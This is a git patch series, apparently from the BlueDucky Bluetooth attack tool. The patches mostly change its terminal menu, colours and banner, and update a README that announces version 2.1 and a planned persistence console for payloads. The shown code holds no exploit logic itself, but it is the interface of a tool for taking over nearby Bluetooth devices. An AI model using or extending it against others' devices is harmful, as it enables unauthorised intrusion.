-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠀⠙⠙⠁⠘⠋⠀⠀⠀⠈⠉⠉⠀⠘⠁⠀⠀⠀⠉⠁⠈⠁⠀⠉⠉⠁⠈⠋⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀""" + ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠤⠄⠒⠒⠒⠒⠒⠒⠂⠠⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠁⠀⠀⠀⠀⣀⡤⠴⠒⠒⠒⠒⠦⠤⣀⠀⠀⠀⠙⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⠀⢰⠋⠀⠀⠀⣠⠖⠋⢀⣄⣀⡀⠀⠀⠀⠀⠀⠀⠉⠲⣄⠀⠈⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⢠⠇⠀⠀⢀⡼⠁⠀⣴⣿⡛⠻⣿⣧⡀⠀⠀⠀⠀⠀⠀⠈⠳⡄⡿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⣼⣀⣀⣀⡜⠀⠀⠀⣿⣿⣿⣿⣿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⣀⡤⠟⠁⠀⠈⠙⡶⣄⡀⠈⠻⢿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠇⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ + ⣤⣤⠖⠖⠛⠉⠈⣀⣀⠀⠴⠊⠀⠀⣹⣷⣶⡏⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣀⡀⠀⠀ + ⠘⠿⣿⣷⣶⣶⣶⣶⣤⣶⣶⣶⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⠤⠖⠒⠋⠉⠁⠙⣆⠀ + ⠀⠀⠀⠀⠉⠉⠉⠉⠙⠿⣍⣩⠟⠋⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣖⣶⣶⢾⠯⠽⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄ + ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠚⠁⠀⠀⠀⠀⠈⠓⠤⠀⠀⠀⠀⠀⠀⠐⠒⠚⠉⠉⠁⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⣀⢀⠀⠀⠀⠀⠀⠀⠀⣇ + ⠀⠀⠀⠀⠀⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⠖⠒⠚⠉⠉⠁⠀⠀⠀⢸⢸⣦⠀⠀⠀⠀⠀⠀⢸ + ⠀⠀⠀⠀⠀⢠⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡠⠤⠴⠒⠒⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡏⣸⡏⠇⠀⠀⠀⠀⠀⢸ + ⠀⠀⠀⠀⢠⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠞⢠⡿⠀⠀⠀⠀⠀⠀⠀⢸ + ⠀⠀⠀⠀⣾⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠊⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⡏ + ⠀⠀⠀⠀⡏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠖⠉⢀⣴⠏⠠⠀⠀⠀⠀⠀⠀⠀⣸⠁ + ⠀⠀⠀⠀⢹⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠒⠒⠢⠤⠄⠀⠀⠀⠀⠀⠈⠁⠀⣠⣶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀ + ⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠃⠀⠀ + ⠀⠀⠀⠀⠀⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠃⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⠳⣄⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⠖⣪⡵⠋⠀⠀⠀⠀⠀ + ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠫⠭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣭⣭⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡴⠶⠛⠉⠀⠀⠀⠀⠀⠀⠀ +""" - print("\033[1;36m" + ascii_art + "\033[0m") # Cyan color + print("\033[94m" + ascii_art + "\033[0m") # Blue color def clear_screen(): os.system('clear') @@ -88,45 +88,44 @@ def save_devices_to_file(devices, filename='known_devices.txt'): for addr, name in devices: file.write(f"{addr},{name}\n") -def get_yes_no(): - stdscr = curses.initscr() - curses.cbreak() - stdscr.keypad(1) - - while True: - key = stdscr.getch() - if key == ord('y'): - response = 'yes' - break - elif key == ord('n'): - response = 'no' - break - - curses.endwin() - return response - # Function to scan for devices def scan_for_devices(): main_menu() + blue = "\033[94m" + error = "\033[91m" + reset = "\033[0m" + # Load known devices known_devices = load_known_devices() if known_devices: - print("\nKnown devices:") + blue = "\033[94m" + error = "\033[91m" + reset = "\033[0m" + print(f"\n{reset}Known devices{blue}:") for idx, (addr, name) in enumerate(known_devices): - print(f"{idx + 1}: Device Name: {name}, Address: {addr}") + blue = "\033[94m" + error = "\033[91m" + reset = "\033[0m" + print(f"{blue}{idx + 1}{reset}: Device Name: {blue}{name}, Address: {blue}{addr}") - use_known_device = input("\nDo you want to use one of these known devices? (yes/no): ") + blue = "\033[94m" + error = "\033[91m" + reset = "\033[0m" + use_known_device = input(f"\n{reset}Do you want to use one of these known devices{blue}? {blue}({reset}yes{blue}/{reset}no{blue}): ") if use_known_device.lower() == 'yes': - device_choice = int(input("Enter the number of the device: ")) + device_choice = int(input(f"{reset}Enter the index number of the device to attack{blue}: ")) return [known_devices[device_choice - 1]] # Normal Bluetooth scan - print("\nAttempting to scan now...") + blue = "\033[94m" + error = "\033[91m" + reset = "\033[0m" + print(f"\n{reset}Attempting to scan now{blue}...") nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True) device_list = [] if len(nearby_devices) == 0: - print("\nNo nearby devices found.") + print(f"\n{reset}[{error}+{reset}] No nearby devices found.") else: print("\nFound {} nearby device(s):".format(len(nearby_devices))) for idx, (addr, name, _) in enumerate(nearby_devices): @@ -138,18 +137,31 @@ def scan_for_devices(): known_devices += new_devices save_devices_to_file(known_devices) for idx, (addr, name) in enumerate(new_devices): - print(f"{idx + 1}: Device Name: {name}, Address: {addr}") + print(f"{reset}{idx + 1}{blue}: {blue}Device Name{reset}: {blue}{name}{reset}, {blue}Address{reset}: {blue}{addr}") return device_list +def getterm(): + size = os.get_terminal_size() + return size.columns + + def print_menu(): + blue = '\033[94m' + reset = "\033[0m" title = "BlueDucky - Bluetooth Device Attacker" - separator = "=" * 70 - print("\033[1;35m" + separator) # Purple color for separator - print("\033[1;33m" + title.center(len(separator))) # Yellow color for title - print("\033[1;35m" + separator + "\033[0m") # Purple color for separator - print("\033[1;32m" + "Remember, you can still attack devices without visibility..." + "\033[0m") - print("\033[1;32m" + "If you have their MAC address" + "\033[0m") - print("\033[1;35m" + separator + "\033[0m") # Purple color for separator + vertext = "Ver 2.1" + motd1 = f"Remember, you can still attack devices without visibility.." + motd2 = f"If you have their MAC address.." + terminal_width = getterm() + separator = "=" * terminal_width + + print(blue + separator) # Blue color for separator + print(reset + title.center(len(separator))) # Centered Title in blue + print(blue + vertext.center(len(separator))) # Centered Version + print(blue + separator + reset) # Blue color for separator + print(motd1.center(len(separator)))# used the same method for centering + print(motd2.center(len(separator)))# used the same method for centering + print(blue + separator + reset) # Blue color for separator def main_menu(): clear_screen() @@ -178,3 +190,19 @@ def load_known_devices(filename='known_devices.txt'): return [tuple(line.strip().split(',')) for line in file] else: return [] + + +title = "BlueDucky - Bluetooth Device Attacker" +vertext = "Ver 2.1" +terminal_width = getterm() +separator = "=" * terminal_width +blue = "\033[0m" +reset = "\033[0m" + +print(blue + separator) # Blue color for separator +print(reset + title.center(len(separator))) # White color for title +print(blue + vertext.center(len(separator))) # White blue for version number +print(blue + separator + reset) # Blue color for separator +print(f"{reset}Remember, you can still attack devices without visibility{blue}.." + reset) +print(f"{blue}If you have their {reset}MAC address{blue}.." + reset) +print(blue + separator + reset) # Blue color for separator From 67b068dda8e0194b822639978503a68b8add5812 Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:26:08 -0500 Subject: [PATCH 14/23] Update README.md --- README.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index cd58479..31e874d 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,11 @@ -# BlueDucky (Android) 🦆 +# BlueDucky Ver 2.1 (Android) 🦆 Thanks to all the people at HackNexus. Make sure you come join us on VC ! https://discord.gg/HackNexus 1. [saad0x1's GitHub](https://github.com/saad0x1) 2. [spicydll's GitHub](https://github.com/spicydll) +3. [Lamentomori's GitHub](https://github.com/lamentomori)

@@ -75,6 +76,15 @@ python3 BlueDucky.py 🚧 Work in Progress: - Suggest me ideas +## Version 2.1 🐛 +- Updated UI +- Improved User Experience +- Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported. +- Please Note: Numerous Changes have been made,please reference the commit history for specific changes. + +## What's Planned for the Next Release? +- Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran +- Suggest What Should be added next! Join https://discord.gg/HackNexus #### 📝 Example payload.txt: ```bash From ef65d3d6ff0312d947103877f0b9b074b6946fb1 Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:31:20 -0500 Subject: [PATCH 15/23] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 31e874d..5097547 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ https://discord.gg/HackNexus 1. [saad0x1's GitHub](https://github.com/saad0x1) 2. [spicydll's GitHub](https://github.com/spicydll) -3. [Lamentomori's GitHub](https://github.com/lamentomori) +3. [lamentomori's GitHub](https://github.com/lamentomori)

From 95b9ebb42a5e9483542d6366564f2e5f13b715f3 Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:32:33 -0500 Subject: [PATCH 16/23] Add files via upload --- images/duckmenu.png | Bin 34134 -> 18671 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/images/duckmenu.png b/images/duckmenu.png index e28ca18b0cdb00546b0f1aa18e308b07be7b15ef..703c31e7e751a3a1bd12a45f3e7ab76341ca0063 100644 GIT binary patch literal 18671 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 z z55yE6CKl4<2($%SZwERubEVVC`KQ&sBwlpR+|8w3-unYe3CaJ@P{+!|w zzgxvBC<5*s!gNPe-r(ky!LomuwAXxZk&iq?13H{Lgn;n=q>|+Q%@u*fL|$<{0PNo&y$)1)gK5QwoJ!eKqXVin%s~RT)P@fxO zL`Mh(hoxLvBu}4qp{&W9Tc~9o(>(Jb#I8bCTZPteQ+v$2M$Tpf5e1V)Oe*VlqVw@63V}ui+8Zt z#$cR{*XE4Q5Rzx6XHH0-TpF!jY>ms>x#*mKB}V4NGBAYv4X&6NFzuFY@uu)4?3cUq zami~WxHmpSM%%{r2Xf5USlg14rxOvCxa>6h#t~ zlL13?-o5t$c^ssj$+_2d&ho4DsZCM>Z+#y(K&Yf2$fU5NOr`(I{asna+X&Lp?uvsAV zv*Vny%Ea|%UE0dx5y2f(uP`Yzvd&aP)L50}LW)M_q)m;DPit6BF_?M|4z8}x2V8wG z9Aj5x#q~VwNGi^p?n+Y;QM-5DI%JPYUfJcy8NtXe-XeK@E&}%LV_lFBb8{aj>*3Tb zCQ)q5t7CBQ!AyTvr1*_j%!jt0%d?d-btC>KKAsYXaL2t&xl=iU(hBM>f~W79wyno&=I+YHBnvV4|8qTbs`g7TZ8xr3OyaBVQB@ z+T;)71W_%DDZV76=H8k~rLQ%a7r}b0Pl<_%u_BzUvV`Um2(In$=Kln>D<5|QBSiQ^ z2~$_MwLagcR59rj#A(qZoXK!MJBWd*^jD#QwR%{_V%86@X655Luz)e&F*(=c`2IB2 z7L}L#?$F_knul#`lMs1bZqKc6&j73K8YUQdpCKZTV>jDm3&jZO*0E*^*-Aklf%b~* zYTsBCSG`ATaK4AoVgiHS7LLxtAR#BU&lIx*l8lB|)iQ+&VzR3In=Zjj(yVXauJRhN zHqabdglSLSjAl|#gw~0n2dPbVlg&rBt?S|o zcV%ef)A?{d&XHm4=}7f0ogu(&0}dUGxc71qB_wBm&h6Xs{5%i9oZ3{n_PkBqnr3^* zhgK~V$ozir;9W<@rw5MK&8+zzKAiX%D=COCs+2TJnw_4Rn!Yb@RdcPksxHfV*=VMxP!qmEZSA1rfxweS0z&h( zkCRfivyq{YMe#>eGC61ss=*Qkzwy+JTR~*hJ`hC{77Y{GmFrfFHZD^QzX{cl7BSXH zuc_9N3*Tpi{kb43_S(1c#z>b{gEg;O=i=MdPNX`%_=JPRG*wL?*hJ}kmO?h=;sq3kMXL4|lC@PZ;{JGd`qi@pdw$*j z7O&fmsAqJ09?VQTKjBh1pyo{4num42OoqpUlL_nqx#aRmUyU)uUnqqaTm4O&&l04f zMApVTU8GD7k%r3TB_zho&sbH~`jJncIc@S`WGrn!*t8hwijhw>K>IC^uL1HxltX)e zeEbg?^xXQ;^8pI`N;9z#G>C&NGu1P#CnZ$v(S(C20tz%aPYt>;y+z+A-b8=Cp9Yea z?zTL9JRm8l_zdt~1piTbhgJ|XgEpSUc@sOLy)l=6P|BnVrFj6fQv#O>F!R>81A3{? zo(;Gf8@~77+T3f$6siwEqw@jGdGf@G;H|bB5M__Ae_$X)k&#NA+qVz!hOx7tp04D@ zXYeTh3&%pY_>V8hEC4R4q`D+LR>XhltCrR{5@34q>2kbKG)PagL@Mqdid4m)Zx8$< 